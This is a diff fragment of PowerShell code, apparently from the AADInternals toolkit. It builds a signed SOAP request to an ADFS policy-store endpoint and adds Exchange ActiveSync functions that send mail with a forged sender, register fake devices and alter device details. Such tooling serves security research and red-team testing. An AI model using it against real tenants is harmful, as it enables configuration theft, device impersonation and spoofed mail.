$xBody = "<s:Body xmlns:s=""http://www.w3.org/2003/05/soap-envelope"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_2""><e:EncryptedData xmlns:e=""http://www.w3.org/2001/04/xmlenc#"" Id=""_3"" Type=""http://www.w3.org/2001/04/xmlenc#Content""><e:EncryptionMethod Algorithm=""http://www.w3.org/2001/04/xmlenc#aes256-cbc""></e:EncryptionMethod><KeyInfo xmlns=""http://www.w3.org/2000/09/xmldsig#""><o:SecurityTokenReference xmlns:o=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd""><o:Reference URI=""#_1"" ValueType=""http://schemas.xmlsoap.org/ws/2005/02/sc/dk""></o:Reference></o:SecurityTokenReference></KeyInfo><e:CipherData><e:CipherValue>$cipherText</e:CipherValue></e:CipherData></e:EncryptedData></s:Body>"
|
||||
|
||||
# Create a body element for calculating the digest. MUST BE "expanded" so that the cipher text is in decrypted form.
|
||||
$xBody2 = "<s:Body xmlns:s=""http://www.w3.org/2003/05/soap-envelope"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_2"">$Payload</s:Body>"
|
||||
|
||||
$xTimeStamp = "<u:Timestamp xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""uuid-$TSIdentifier-2""><u:Created>$created</u:Created><u:Expires>$expires</u:Expires></u:Timestamp>"
|
||||
$xAction = "<a:Action xmlns:a=""http://www.w3.org/2005/08/addressing"" xmlns:s=""http://www.w3.org/2003/05/soap-envelope"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_4"" s:mustUnderstand=""1"">$Action</a:Action>"
|
||||
$xMessageId = "<a:MessageID xmlns:a=""http://www.w3.org/2005/08/addressing"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_5"">urn:uuid:$messageID</a:MessageID>"
|
||||
$xReplyTo = "<a:ReplyTo xmlns:a=""http://www.w3.org/2005/08/addressing"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_6""><a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address></a:ReplyTo>"
|
||||
$xTo = "<a:To xmlns:a=""http://www.w3.org/2005/08/addressing"" xmlns:s=""http://www.w3.org/2003/05/soap-envelope"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_7"" s:mustUnderstand=""1"">http://$Server/adfs/services/policystoretransfer</a:To>"
|
||||
|
||||
# Calculate digests and generate the SignedInfo
|
||||
$digest_2 = Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xBody2)
|
||||
$digest_4 = Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xAction)
|
||||
$digest_5 = Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xMessageId)
|
||||
$digest_6 = Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xReplyTo)
|
||||
$digest_7 = Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xTo)
|
||||
$TSdigest= Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xTimeStamp)
|
||||
$signedInfo = "<SignedInfo xmlns=""http://www.w3.org/2000/09/xmldsig#""><CanonicalizationMethod Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></CanonicalizationMethod><SignatureMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#hmac-sha1""></SignatureMethod><Reference URI=""#_2""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$digest_2</DigestValue></Reference><Reference URI=""#_4""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$digest_4</DigestValue></Reference><Reference URI=""#_5""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$digest_5</DigestValue></Reference><Reference URI=""#_6""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$digest_6</DigestValue></Reference><Reference URI=""#_7""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$digest_7</DigestValue></Reference><Reference URI=""#uuid-$TSIdentifier-2""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$TSdigest</DigestValue></Reference></SignedInfo>"
|
||||
|
||||
# Generate the signature by calculating HMACSHA1 of SignedInfo using the signing key
|
||||
$HMAC = [System.Security.Cryptography.HMACSHA1]::new($signingKey)
|
||||
$signatureValue = Convert-ByteArrayToB64 -Bytes $HMAC.ComputeHash([text.encoding]::UTF8.getBytes($signedInfo))
|
||||
|
||||
# Generate Signature element and encrypt it using the encryption key
|
||||
$xSignature = "<Signature xmlns=""http://www.w3.org/2000/09/xmldsig#"">$signedInfo<SignatureValue>$signatureValue</SignatureValue><KeyInfo><o:SecurityTokenReference xmlns:o=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd""><o:Reference ValueType=""http://schemas.xmlsoap.org/ws/2005/02/sc/dk"" URI=""#_0""/></o:SecurityTokenReference></KeyInfo></Signature>"
|
||||
$encSignature = Convert-ByteArrayToB64 -Bytes (Encrypt-WSTrustCipherData -PlainText ([text.encoding]::UTF8.GetBytes($xSignature)) -Key $encryptionKey)
|
||||
|
||||
# Create the envelope
|
||||
$envelope = @"
|
||||
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
|
||||
<s:Header>
|
||||
$xAction
|
||||
$xMessageId
|
||||
$xReplyTo
|
||||
$xTo
|
||||
<o:Security s:mustUnderstand="1" xmlns:o="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
|
||||
$xTimeStamp
|
||||
<SecurityContextToken u:Id="$STSContext" xmlns="http://schemas.xmlsoap.org/ws/2005/02/sc">
|
||||
<Identifier>urn:uuid:$STIdentifier</Identifier>
|
||||
</SecurityContextToken>
|
||||
<c:DerivedKeyToken u:Id="_0" xmlns:c="http://schemas.xmlsoap.org/ws/2005/02/sc">
|
||||
<o:SecurityTokenReference>
|
||||
<o:Reference URI="#$STSContext"/>
|
||||
</o:SecurityTokenReference>
|
||||
<c:Offset>0</c:Offset>
|
||||
<c:Length>24</c:Length>
|
||||
<c:Nonce>$(Convert-ByteArrayToB64 -Bytes $nonce0)</c:Nonce>
|
||||
</c:DerivedKeyToken>
|
||||
<c:DerivedKeyToken u:Id="_1" xmlns:c="http://schemas.xmlsoap.org/ws/2005/02/sc">
|
||||
<o:SecurityTokenReference>
|
||||
<o:Reference URI="#$STSContext"/>
|
||||
</o:SecurityTokenReference>
|
||||
<c:Nonce>$(Convert-ByteArrayToB64 -Bytes $nonce1)</c:Nonce>
|
||||
</c:DerivedKeyToken>
|
||||
<e:ReferenceList xmlns:e="http://www.w3.org/2001/04/xmlenc#">
|
||||
<e:DataReference URI="#_3"/>
|
||||
<e:DataReference URI="#_8"/>
|
||||
</e:ReferenceList>
|
||||
<e:EncryptedData Id="_8" Type="http://www.w3.org/2001/04/xmlenc#Element" xmlns:e="http://www.w3.org/2001/04/xmlenc#">
|
||||
<e:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#aes256-cbc"/>
|
||||
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
|
||||
<o:SecurityTokenReference>
|
||||
<o:Reference ValueType="http://schemas.xmlsoap.org/ws/2005/02/sc/dk" URI="#_1"/>
|
||||
</o:SecurityTokenReference>
|
||||
</KeyInfo>
|
||||
<e:CipherData>
|
||||
<e:CipherValue>$encSignature</e:CipherValue>
|
||||
</e:CipherData>
|
||||
</e:EncryptedData>
|
||||
</o:Security>
|
||||
</s:Header>
|
||||
$xBody
|
||||
</s:Envelope>
|
||||
"@
|
||||
|
||||
$HMAC.Dispose()
|
||||
return $envelope
|
||||
}
|
||||
}
|
||||
+1709
File diff suppressed because it is too large
Load Diff
+2085
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
+682
@@ -0,0 +1,682 @@
|
||||
# Performs EAS autodiscover
|
||||
# Aug 30th 2022: Updated protocols, credits to celsogbezerra
|
||||
function Get-EASAutoDiscover
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Performs autodiscover for the given user and protocol
|
||||
|
||||
.DESCRIPTION
|
||||
Performs autodiscover for the given user using AutoDiscover V2. Returns the url of the requested protocol, defaults to ActiveSync
|
||||
|
||||
.Example
|
||||
Get-AADIntEASAutoDiscover -Email user@company.com
|
||||
|
||||
Protocol Url
|
||||
-------- ---
|
||||
ActiveSync https://outlook.office365.com/Microsoft-Server-ActiveSync
|
||||
|
||||
|
||||
.Example
|
||||
Get-AADIntEASAutoDiscover -Email user@company.com -Protocol All
|
||||
|
||||
Protocol Url
|
||||
-------- ---
|
||||
Rest https://outlook.office.com/api
|
||||
ActiveSync https://outlook.office365.com/Microsoft-Server-ActiveSync
|
||||
Ews https://outlook.office365.com/EWS/Exchange.asmx
|
||||
Substrate https://substrate.office.com
|
||||
Substratesearchservice https://outlook.office365.com/search
|
||||
AutodiscoverV1 https://outlook.office365.com/autodiscover/autodiscover.xml
|
||||
substratesearchservice https://outlook.office365.com/search
|
||||
substratenotificationservice https://substrate.office.com/insights
|
||||
outlookmeetingscheduler https://outlook.office.com/scheduling/api
|
||||
outlookpay https://outlook.office.com/opay
|
||||
|
||||
#>
|
||||
Param(
|
||||
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Email,
|
||||
[ValidateSet('All','Actions','ActiveSync','AutodiscoverV1','CompliancePolicyService','Connectors','ConnectorsProcessors','ConnectorsWebhook','Ews','NotesClient','OutlookCloudSettingsService','OutlookLocationsService','OutlookMeetingScheduler','OutlookPay','OutlookTailoredExperiences','OwaPoweredExperience','OwaPoweredExperienceV2','Rest','SpeechAndLanguagePersonalization','Speedway','Substrate','SubstrateNotificationService','SubstrateSearchService','SubstrateSignalService','ToDo','Weve')]
|
||||
[String]$Protocol="All"
|
||||
)
|
||||
Process
|
||||
{
|
||||
if($Protocol -eq "All")
|
||||
{
|
||||
$Protocols = @('Actions','ActiveSync','AutodiscoverV1','CompliancePolicyService','Connectors','ConnectorsProcessors','ConnectorsWebhook','Ews','NotesClient','OutlookCloudSettingsService','OutlookLocationsService','OutlookMeetingScheduler','OutlookPay','OutlookTailoredExperiences','OwaPoweredExperience','OwaPoweredExperienceV2','Rest','SpeechAndLanguagePersonalization','Speedway','Substrate','SubstrateNotificationService','SubstrateSearchService','SubstrateSignalService','ToDo','Weve')
|
||||
$Response = @()
|
||||
foreach($p in $Protocols)
|
||||
{
|
||||
$url = "https://outlook.office365.com/Autodiscover/Autodiscover.json?Email=$Email&Protocol=$p"
|
||||
|
||||
$response+=Invoke-RestMethod -UseBasicParsing -Uri $url -Method Get
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$url = "https://outlook.office365.com/Autodiscover/Autodiscover.json?Email=$Email&Protocol=$Protocol"
|
||||
|
||||
$response=Invoke-RestMethod -UseBasicParsing -Uri $url -Method Get
|
||||
}
|
||||
$response
|
||||
}
|
||||
}
|
||||
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Performs autodiscover for the given user
|
||||
|
||||
.DESCRIPTION
|
||||
Performs autodiscover for the given user. Returns the url of ActiveSync service
|
||||
|
||||
.Example
|
||||
Get-AADIntEASAutoDiscoverV1 -Credentials $Cred
|
||||
|
||||
https://outlook.office365.com/Microsoft-Server-ActiveSync
|
||||
|
||||
#>
|
||||
function Get-EASAutoDiscoverV1
|
||||
{
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
$auth = Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
$headers = @{
|
||||
"Authorization" = $auth
|
||||
"Content-Type" = "text/xml"
|
||||
}
|
||||
|
||||
$user=Get-UserNameFromAuthHeader -Auth $auth
|
||||
$domain=$user.Split("@")[1]
|
||||
|
||||
# Default host for Office 365
|
||||
$hostname = "autodiscover-s.outlook.com"
|
||||
|
||||
$url = "https://$hostname/Autodiscover/Autodiscover.xml"
|
||||
|
||||
$body=@"
|
||||
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/mobilesync/requestschema/2006">
|
||||
<Request>
|
||||
<EMailAddress>$user</EMailAddress>
|
||||
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/mobilesync/responseschema/2006</AcceptableResponseSchema>
|
||||
</Request>
|
||||
</Autodiscover>
|
||||
"@
|
||||
|
||||
$response=Invoke-RestMethod -UseBasicParsing -Uri $url -Method Post -Headers $headers -Body $body -TimeoutSec 60
|
||||
$response.Autodiscover.Response.Action.Settings.Server.Url
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Get-EASOptions
|
||||
{
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
$headers = @{
|
||||
"Authorization" = Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
}
|
||||
|
||||
$response=Invoke-WebRequest -UseBasicParsing -Uri "https://outlook.office365.com/Microsoft-Server-ActiveSync" -Method Options -Headers $headers -TimeoutSec 10
|
||||
$response.headers
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Get folders to sync
|
||||
function Get-EASFolderSync
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets user's ActiveSync options
|
||||
|
||||
.DESCRIPTION
|
||||
Gets user's ActiveSync options. Shows for instance Front and Backend server names.
|
||||
The first two characters indicates the city: HE=Helsinki, VI=Vienna, DB=Dublin, AM=Amsterdam, etc.
|
||||
|
||||
.Example
|
||||
Get-AADIntEASOptions -Credentials $Cred
|
||||
|
||||
Key Value
|
||||
--- -----
|
||||
Allow OPTIONS,POST
|
||||
request-id 61e62c8d-f689-4d08-b0d7-4ffa1e42e1ea
|
||||
X-CalculatedBETarget HE1PR0802MB2202.eurprd08.prod.outlook.com
|
||||
X-BackEndHttpStatus 200
|
||||
X-RUM-Validated 1
|
||||
MS-Server-ActiveSync 15.20
|
||||
MS-ASProtocolVersions 2.0,2.1,2.5,12.0,12.1,14.0,14.1,16.0,16.1
|
||||
MS-ASProtocolCommands Sync,SendMail,SmartForward,SmartReply,GetAttachment,GetHierarchy,CreateCollection,DeleteCollection,MoveCollectio...
|
||||
Public OPTIONS,POST
|
||||
X-MS-BackOffDuration L/-469
|
||||
X-DiagInfo HE1PR0802MB2202
|
||||
X-BEServer HE1PR0802MB2202
|
||||
X-FEServer HE1PR1001CA0019
|
||||
Content-Length 0
|
||||
Cache-Control private
|
||||
Content-Type application/vnd.ms-sync.wbxml
|
||||
Date Wed, 03 Apr 2019 17:40:18 GMT
|
||||
Server Microsoft-IIS/10.0
|
||||
X-AspNet-Version 4.0.30319
|
||||
X-Powered-By ASP.NET
|
||||
#>
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$DeviceId,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$DeviceType="Android"
|
||||
)
|
||||
Process
|
||||
{
|
||||
[xml]$request=@"
|
||||
<FolderSync xmlns="FolderHierarchy">
|
||||
<SyncKey>0</SyncKey>
|
||||
</FolderSync>
|
||||
"@
|
||||
|
||||
$response = Call-EAS -Request $request -Command FolderSync -Authorization (Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c") -DeviceId $DeviceId -DeviceType $DeviceType
|
||||
|
||||
return $response
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Send-EASMessage
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Sends mail message using ActiveSync
|
||||
|
||||
.DESCRIPTION
|
||||
Sends mail using ActiveSync using the account of given credentials.
|
||||
Supports both Basic and Modern Authentication.
|
||||
Message MUST be html (or plaintext) and SHOULD be Base64 encoded (if not, it's automatically converted).
|
||||
|
||||
.Example
|
||||
PS C:\>$Cred=Get-Credential
|
||||
PS C:\>Send-AADIntEASMessage -Credentials $Cred -DeviceId androidc481040056 -DeviceType Android -Recipient someone@company.com -Subject "An email" -Message "This is a message!"
|
||||
|
||||
.Example
|
||||
PS C:\>$At=Get-AADIntAccessTokenForEXO
|
||||
PS C:\>Send-AADIntEASMessage -AccessToken $At -DeviceId androidc481040056 -DeviceType Android -Recipient someone@company.com -Subject "An email" -Message "This is a message!"
|
||||
|
||||
#>
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Recipient,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Subject,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Message,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$DeviceId,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$DeviceType="Android",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$DeviceOS
|
||||
)
|
||||
Process
|
||||
{
|
||||
$messageId = (New-Guid).ToString()
|
||||
[xml]$request=@"
|
||||
<SendMail xmlns="ComposeMail"><ClientId>$messageId</ClientId><SaveInSentItems></SaveInSentItems><MIME><![CDATA[Date: Wed, 03 Apr 2019 08:51:41 +0300
|
||||
Subject: $Subject
|
||||
Message-ID: <$messageId>
|
||||
From: rudolf@santaclaus.org
|
||||
To: $recipient
|
||||
Importance: Normal
|
||||
X-Priority: 3
|
||||
X-MSMail-Priority: Normal
|
||||
MIME-Version: 1.0
|
||||
Content-Type: text/html; charset=utf-8
|
||||
Content-Transfer-Encoding: base64
|
||||
|
||||
$(Get-MessageAsBase64 -Message $Message)
|
||||
]]></MIME></SendMail>
|
||||
"@
|
||||
|
||||
$response = Call-EAS -Request $request -Command SendMail -Authorization (Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c") -DeviceId $DeviceId -DeviceType $DeviceType -DeviceOS $DeviceOS
|
||||
|
||||
return $response
|
||||
}
|
||||
}
|
||||
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Sets users device settings using ActiveSync
|
||||
|
||||
.DESCRIPTION
|
||||
Sets users device settings using ActiveSync. You can change device's Model, IMEI, FriendlyName, OS, OSLanguage, PhoneNumber, MobileOperator, and User-Agent.
|
||||
All empty properties are cleared from the device settings. I.e., if IMEI is not given, it will be cleared.
|
||||
|
||||
.Example
|
||||
PS C:\>$Cred=Get-Credential
|
||||
PS C:\>Set-AADIntEASSettings -Credentials $Cred -DeviceId androidc481040056 -DeviceType Android -Model "Samsung S10" -PhoneNumber "+1234567890"
|
||||
#>
|
||||
function Set-EASSettings
|
||||
{
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$DeviceId,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$DeviceType="Android",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$Model,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$IMEI,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$FriendlyName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$OS,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$OSLanguage,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$PhoneNumber,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$MobileOperator,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$UserAgent
|
||||
)
|
||||
Process
|
||||
{
|
||||
[xml]$request=@"
|
||||
<Settings xmlns="Settings">
|
||||
<DeviceInformation>
|
||||
<Set>
|
||||
<Model>$Model</Model>
|
||||
<IMEI>$IMEI</IMEI>
|
||||
<FriendlyName>$FriendlyName</FriendlyName>
|
||||
<OS>$OS</OS>
|
||||
<OSLanguage>$OSLanguage</OSLanguage>
|
||||
<PhoneNumber>$PhoneNumber</PhoneNumber>
|
||||
<MobileOperator>$MobileOperator</MobileOperator>
|
||||
<UserAgent>$UserAgent</UserAgent>
|
||||
</Set>
|
||||
</DeviceInformation>
|
||||
</Settings>
|
||||
"@
|
||||
|
||||
$response = Call-EAS -Request $request -Command Settings -Authorization (Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c") -DeviceId $DeviceId -DeviceType $DeviceType -UserAgent $UserAgent
|
||||
|
||||
return $response.OuterXml
|
||||
}
|
||||
}
|
||||
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Adds a new ActiveSync device to user
|
||||
|
||||
.DESCRIPTION
|
||||
Adds a new ActiveSync device to the user, and accepts security policies. All device information settings are required (Model, IMEI, FriendlyName, OS, OSLanguage, PhoneNumber, MobileOperator, and User-Agent).
|
||||
Returns a policy key that could be used in subsequent ActiveSync calls
|
||||
|
||||
.Example
|
||||
PS C:\>$Cred=Get-Credential
|
||||
PS C:\>Add-AADIntEASDevice -Credentials $Cred -DeviceId androidc481040056 -DeviceType Android -Model "Samsung S10" -PhoneNumber "+1234567890" -IMEI "1234" -FriendlyName "My Phone" -OS "Android" -OSLanguage "EN" -MobileOperator "BT" -UserAgent "Android/8.0"
|
||||
|
||||
3382976401
|
||||
#>
|
||||
function Add-EASDevice
|
||||
{
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$DeviceId,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$DeviceType="Android",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$Model,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$IMEI,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$FriendlyName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$OS,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$OSLanguage,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$PhoneNumber,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$MobileOperator,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$UserAgent
|
||||
)
|
||||
Process
|
||||
{
|
||||
[xml]$request=@"
|
||||
<Provision xmlns="Provision" >
|
||||
<DeviceInformation xmlns="Settings">
|
||||
<Set>
|
||||
<Model>$Model</Model>
|
||||
<IMEI>$IMEI</IMEI>
|
||||
<FriendlyName>$FriendlyName</FriendlyName>
|
||||
<OS>$OS</OS>
|
||||
<OSLanguage>$OSLanguage</OSLanguage>
|
||||
<PhoneNumber>$PhoneNumber</PhoneNumber>
|
||||
<MobileOperator>$MobileOperator</MobileOperator>
|
||||
<UserAgent>$UserAgent</UserAgent>
|
||||
</Set>
|
||||
</DeviceInformation>
|
||||
<Policies>
|
||||
<Policy>
|
||||
<PolicyType>MS-EAS-Provisioning-WBXML</PolicyType>
|
||||
</Policy>
|
||||
</Policies>
|
||||
</Provision>
|
||||
|
||||
"@
|
||||
|
||||
# The first request (must be done twice for some reason)
|
||||
$response = Call-EAS -Request $request -Command Provision -Authorization (Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c") -DeviceId $DeviceId -DeviceType $DeviceType -UserAgent $UserAgent -PolicyKey 0
|
||||
$response = Call-EAS -Request $request -Command Provision -Authorization (Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c") -DeviceId $DeviceId -DeviceType $DeviceType -UserAgent $UserAgent -PolicyKey 0
|
||||
|
||||
# Save the temporary policy key
|
||||
$policyKey = $response.Provision.Policies.Policy.PolicyKey
|
||||
|
||||
# Create a request to acknowledge the policy
|
||||
[xml]$request=@"
|
||||
<Provision xmlns="Provision" >
|
||||
<Policies>
|
||||
<Policy>
|
||||
<PolicyType>MS-EAS-Provisioning-WBXML</PolicyType>
|
||||
<PolicyKey>$policyKey</PolicyKey>
|
||||
<Status>1</Status>
|
||||
</Policy>
|
||||
</Policies>
|
||||
</Provision>
|
||||
"@
|
||||
|
||||
# The second request
|
||||
$response = Call-EAS -Request $request -Command Provision -Authorization (Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c") -DeviceId $DeviceId -DeviceType $DeviceType -UserAgent $UserAgent -PolicyKey $policyKey
|
||||
|
||||
# Save the final policy key
|
||||
$policyKey = $response.Provision.Policies.Policy.PolicyKey
|
||||
|
||||
$policyKey
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Jan 2nd 2020
|
||||
function Get-MobileOutlookSettings
|
||||
{
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
$headers = @{
|
||||
"Authorization" = Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
"Accept"="application/json"
|
||||
}
|
||||
|
||||
$response=Invoke-RestMethod -UseBasicParsing -Uri "https://outlook.office365.com/outlookservice/ishxscapable" -Headers $headers
|
||||
|
||||
# Return
|
||||
$response
|
||||
}
|
||||
}
|
||||
|
||||
# Gets the settings for Exchange Active Sync (Outlook mobile)
|
||||
function Get-EASSettings
|
||||
{
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
$headers = @{
|
||||
"Authorization" = Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
"Accept"="application/json"
|
||||
}
|
||||
|
||||
$response=Invoke-RestMethod -UseBasicParsing -Uri "https://outlook.office365.com/outlookservice/ishxscapable" -Headers $headers
|
||||
|
||||
# Return
|
||||
$response
|
||||
}
|
||||
}
|
||||
|
||||
# Gets the sync status for Exchange Active Sync (Outlook mobile)
|
||||
function Get-EASSyncStatus
|
||||
{
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$AnchorMailBox,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$OutlookFrame
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
$headers = @{
|
||||
"Authorization" = Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
"Accept"="application/http.wbxml"
|
||||
"X-AnchorMailbox" = $AnchorMailBox
|
||||
"Content-Type" = "application/http.wbxml"
|
||||
"X-OSApi-Protocol" = "HttpSockets:1.1"
|
||||
#"X-CommandId" = "6" # 6
|
||||
